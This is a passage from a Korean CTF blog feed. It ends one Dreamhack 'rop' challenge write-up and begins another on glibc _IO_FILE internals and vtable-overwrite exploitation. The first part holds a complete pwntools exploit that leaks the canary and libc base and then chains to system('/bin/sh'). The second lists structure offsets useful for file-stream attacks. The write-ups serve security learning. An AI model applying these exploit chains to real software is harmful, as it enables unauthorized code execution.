</span></span></code></pre></div><p>위 코드를 이용해 우선 카나리와 libc 베이스 주소를 구하고 다시 main함수로 돌려버린다.
puts 함수는 인자를 1개 이용하기 때문에 pop rdi ; ret 가젯을 이용했다.</p>
<p>이후 릭된 값을들 다시 구성해 system 함수를 콜하게 하면 된다. 여기서 [1] 부분은 기존 코드 그대로 이용했고 [2]에서 바로 system 함수를 콜하려 했지만 문제가 발생했다. 그래서 libc를 구할때 사용했던 코드는 정상 동작해서 puts 함수가 동작 한 후 main_func 부분을 다시 pr 가젯으로 주고 system 함수를 콜 했다.</p>
<p>최종적인 익스플로잇 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">19094</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./rop&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc-2.27.so&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./house_of_force&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./rop&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc-2.27.so&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pr</span> <span class="o">=</span> <span class="mh">0x4007f3</span>
</span></span><span class="line"><span class="cl"><span class="n">read_got</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s2">&#34;read&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">puts_plt</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s2">&#34;puts&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">main_func</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;main&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;read got : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;puts plt : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;main func : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">main_func</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Buf: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x39</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x39</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">leak</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">p</span><span class="o">.</span><span class="n">recvn</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;leak canary : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x38</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400790</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">main_func</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input ROP payload</span><span class="se">\n</span><span class="s2">Buf: &#34;</span><span class="p">,</span> <span class="n">payload1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">leak_read_got</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak_read_got</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s2">&#34;read&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s2">&#34;system&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="nb">list</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc main : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;system : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;binsh : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Buf: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x38</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400790</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input ROP payload</span><span class="se">\n</span><span class="s2">Buf: &#34;</span><span class="p">,</span> <span class="n">payload2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>[2] 부분에서 libc를 릭하면서 바로 system 함수를 호출하는 방법을 쓰신 분들도 봤는데 필자는 함수 흐름을 돌리는 것이 편해서 이렇게 구성했다.</p>
<p>위 코드를 이용하면 flag를 얻을 수 있다.</p>
]]></content:encoded></item><item><title>[Dreamhack] PWN iofile_aw, what is _IO_FILE?</title><link>https://dig06161.github.io/2023/02/28/dreamhack-pwn-iofile_aw/</link><pubDate>Tue, 28 Feb 2023 17:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/28/dreamhack-pwn-iofile_aw/</guid><description>드림핵 포너블 iofile_aw 문제풀이</description><content:encoded><![CDATA[<p>이번 문제에서는 io_file에 대한 내용을 공부하면서 풀었다. 문제를 보면 드림핵 강의가 함께 제공된다. <a href="https://dreamhack.io/learn/2/11#40">https://dreamhack.io/learn/2/11#40</a></p>
<p>io_file에 대한 내용은 이번에 처음 공부해 보면서 이전 ctf에서 문제를 접했지만 해당 내용을 몰랐던 것이 매우 아쉬웠다. 그리고 생각보다 더 복잡했다&hellip;</p>
<p>io_file에 대해 설명하면 리눅스 시스템에서 파일 스트림을 나타내기 위한 하나의 구조체이다. fopen와 같은 파일 스트림을 여는 함수를 호출하면 내부적으로 io_file 구조체가 셋팅된다.</p>
<p>glibc의 _io_file 구조체는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">_IO_FILE</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_flags</span><span class="p">;</span>		<span class="cm">/* High-order word is _IO_MAGIC; rest is flags. */</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* The following pointers correspond to the C++ streambuf protocol. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_ptr</span><span class="p">;</span>	<span class="cm">/* Current read pointer */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_end</span><span class="p">;</span>	<span class="cm">/* End of get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_base</span><span class="p">;</span>	<span class="cm">/* Start of putback+get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_base</span><span class="p">;</span>	<span class="cm">/* Start of put area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_ptr</span><span class="p">;</span>	<span class="cm">/* Current put pointer. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_end</span><span class="p">;</span>	<span class="cm">/* End of put area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_buf_base</span><span class="p">;</span>	<span class="cm">/* Start of reserve area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_buf_end</span><span class="p">;</span>	<span class="cm">/* End of reserve area. */</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* The following fields are used to support backing up and undo. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_save_base</span><span class="p">;</span> <span class="cm">/* Pointer to start of non-current get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_backup_base</span><span class="p">;</span>  <span class="cm">/* Pointer to first valid character of backup area */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_save_end</span><span class="p">;</span> <span class="cm">/* Pointer to end of non-current get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="k">struct</span> <span class="n">_IO_marker</span> <span class="o">*</span><span class="n">_markers</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">struct</span> <span class="n">_IO_FILE</span> <span class="o">*</span><span class="n">_chain</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_fileno</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_flags2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__off_t</span> <span class="n">_old_offset</span><span class="p">;</span> <span class="cm">/* This used to be _offset but it&#39;s too small.  */</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* 1+column number of pbase(); 0 is unknown. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">_cur_column</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">signed</span> <span class="kt">char</span> <span class="n">_vtable_offset</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="n">_shortbuf</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">_IO_lock_t</span> <span class="o">*</span><span class="n">_lock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef _IO_USE_OLD_IO_FILE
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="p">};</span>
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">_flags
</span></span><span class="line"><span class="cl">    파일에 대한 읽기/쓰기/추가 권한을 의미.
</span></span><span class="line"><span class="cl">    0xfbad0000가 매직 값으로 이는 고정이고 하위 2바이트로 파일의 권한이 결졍된다.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_read_ptr
</span></span><span class="line"><span class="cl">    파일 읽기 버퍼에 대한 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_read_end
</span></span><span class="line"><span class="cl">    파일 읽기 버퍼 주소의 끝을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_read_base  
</span></span><span class="line"><span class="cl">    파일 읽기 버퍼 주소의 시작을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_write_base
</span></span><span class="line"><span class="cl">    파일 쓰기 버퍼 주소의 시작을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_write_ptr
</span></span><span class="line"><span class="cl">    쓰기 버퍼에 대한 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_write_end
</span></span><span class="line"><span class="cl">    파일 쓰기 버퍼 주소의 끝을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_chain
</span></span><span class="line"><span class="cl">    프로세스의 _IO_FILE 구조체는 _chain 필드를 통해 링크드 리스트를 만든다.
</span></span><span class="line"><span class="cl">    링크드 리스트의 헤더는 라이브러리의 전역 변수인 _IO_list_all에 저장된다.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_fileno
</span></span><span class="line"><span class="cl">    파일 디스크립터의 값.
</span></span></code></pre></div><p>주로 사용되는 값들은 이 정도 같다.
_flags의 경우 0xfbad0000로 상위 2바이트가 고정이고 하위 2바이트는 파일의 형식, 읽기 또는 쓰기 권한에 따라 다르게 결정된다. glibc에 정의된 flags 값은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define _IO_MAGIC         0xFBAD0000 </span><span class="cm">/* Magic number */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_MAGIC_MASK    0xFFFF0000
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_USER_BUF          0x0001 </span><span class="cm">/* Don&#39;t deallocate buffer on close. */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_UNBUFFERED        0x0002
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_NO_READS          0x0004 </span><span class="cm">/* Reading not allowed.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_NO_WRITES         0x0008 </span><span class="cm">/* Writing not allowed.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_EOF_SEEN          0x0010
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_ERR_SEEN          0x0020
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_DELETE_DONT_CLOSE 0x0040 </span><span class="cm">/* Don&#39;t call close(_fileno) on close.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_LINKED            0x0080 </span><span class="cm">/* In the list of all open files.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_IN_BACKUP         0x0100
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_LINE_BUF          0x0200
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_TIED_PUT_GET      0x0400 </span><span class="cm">/* Put and get pointer move in unison.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_CURRENTLY_PUTTING 0x0800
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_IS_APPENDING      0x1000
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_IS_FILEBUF        0x2000
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>                           <span class="cm">/* 0x4000  No longer used, reserved for compat.  */</span>
</span></span><span class="line"><span class="cl"><span class="cp">#define _IO_USER_LOCK         0x8000
</span></span></span></code></pre></div><p>_IO_MAGIC_MASK 아래의 값들을 0xFBAD0000에 더해 권한에 대한 플레그를 설정하게 된다. 사실 다 외우기는 힘들것 같고 이번에 정리하면서 그때그때 찾아보고 해야겠다.</p>
<p>인터넷을 찾아보다가 다음과 같은 내용을 발견했다. _IO_FILE의 offset인데 공격코드를 작성할때 참고하면 편할 것 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x0   _flags
</span></span><span class="line"><span class="cl">0x8   _IO_read_ptr
</span></span><span class="line"><span class="cl">0x10  _IO_read_end
</span></span><span class="line"><span class="cl">0x18  _IO_read_base
</span></span><span class="line"><span class="cl">0x20  _IO_write_base
</span></span><span class="line"><span class="cl">0x28  _IO_write_ptr
</span></span><span class="line"><span class="cl">0x30  _IO_write_end
</span></span><span class="line"><span class="cl">0x38  _IO_buf_base
</span></span><span class="line"><span class="cl">0x40  _IO_buf_end
</span></span><span class="line"><span class="cl">0x48  _IO_save_base
</span></span><span class="line"><span class="cl">0x50  _IO_backup_base
</span></span><span class="line"><span class="cl">0x58  _IO_save_end
</span></span><span class="line"><span class="cl">0x60  _markers
</span></span><span class="line"><span class="cl">0x68  _chain
</span></span><span class="line"><span class="cl">0x70  _fileno
</span></span><span class="line"><span class="cl">0x74  _flags2
</span></span><span class="line"><span class="cl">0x78  _old_offset
</span></span><span class="line"><span class="cl">0x80  _cur_column
</span></span><span class="line"><span class="cl">0x82  _vtable_offset
</span></span><span class="line"><span class="cl">0x83  _shortbuf
</span></span><span class="line"><span class="cl">0x88  _lock
</span></span><span class="line"><span class="cl">0x90  _offset
</span></span><span class="line"><span class="cl">0x98  _codecvt
</span></span><span class="line"><span class="cl">0xa0  _wide_data
</span></span><span class="line"><span class="cl">0xa8  _freeres_list
</span></span><span class="line"><span class="cl">0xb0  _freeres_buf
</span></span><span class="line"><span class="cl">0xb8  __pad5
</span></span><span class="line"><span class="cl">0xc0  _mode
</span></span><span class="line"><span class="cl">0xc4  _unused2
</span></span><span class="line"><span class="cl">0xd8  vtable
</span></span></code></pre></div><p>실제로 gdb를 통해 디버깅 해보면 _IO_FILE_plus 구조체가 호출된다. _IO_FILE_plus의 구조체는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">_IO_FILE_plus</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">_IO_FILE</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span><span class="n">vtable</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>_IO_FILE은 _IO_FILE_plus의 file에 해당하고 그 아래 vtable로 할당된 _IO_JUMP_t 구조체가 있는것을 볼 수 있다. _IO_FILE + 0xd8위치에 vtable이 존재하게 된다.</p>
<p>_IO_JUMP_t 구조체의 내용을 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">_IO_jump_t</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_finish_t</span><span class="p">,</span> <span class="n">__finish</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_overflow_t</span><span class="p">,</span> <span class="n">__overflow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_underflow_t</span><span class="p">,</span> <span class="n">__underflow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_underflow_t</span><span class="p">,</span> <span class="n">__uflow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_pbackfail_t</span><span class="p">,</span> <span class="n">__pbackfail</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* showmany */</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_xsputn_t</span><span class="p">,</span> <span class="n">__xsputn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_xsgetn_t</span><span class="p">,</span> <span class="n">__xsgetn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seekoff_t</span><span class="p">,</span> <span class="n">__seekoff</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seekpos_t</span><span class="p">,</span> <span class="n">__seekpos</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_setbuf_t</span><span class="p">,</span> <span class="n">__setbuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_sync_t</span><span class="p">,</span> <span class="n">__sync</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_doallocate_t</span><span class="p">,</span> <span class="n">__doallocate</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_read_t</span><span class="p">,</span> <span class="n">__read</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_write_t</span><span class="p">,</span> <span class="n">__write</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seek_t</span><span class="p">,</span> <span class="n">__seek</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_close_t</span><span class="p">,</span> <span class="n">__close</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_stat_t</span><span class="p">,</span> <span class="n">__stat</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_showmanyc_t</span><span class="p">,</span> <span class="n">__showmanyc</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_imbue_t</span><span class="p">,</span> <span class="n">__imbue</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>위 필드들은 fread, fwrite, fopen같은 함수에서 호출된다. 파일 함수가 호출되면 _IO_jump_t에 있는 함수 포인터를 호출하게 된다. 우분투 16.04버전 까지는 fp_vtable.c에 버퍼 오버플로우 취약점이 존재해 _IO_jump_t vtable 값을 덮어 써 원하는 함수를 호출할 수 있다. 전역 변수에서 버퍼 오버플로우가 일어나 파일 포인터를 취약한 변수로 바꾼 후 해당 변수에 _IO_FILE를 구성해 익스플로잇 하는 시나리오가 완성된다.</p>
<p>이후 버전에서는 _IO_vtable_check 함수가 추가되면서 패치가 되었다.</p>
<p>해당 내용을 이용해 문제를 풀어보자.</p>
<p>문제의 소스코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// gcc -o iofile_aw iofile_aw.c -fno-stack-protector -Wl,-z,relro,-z,now
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
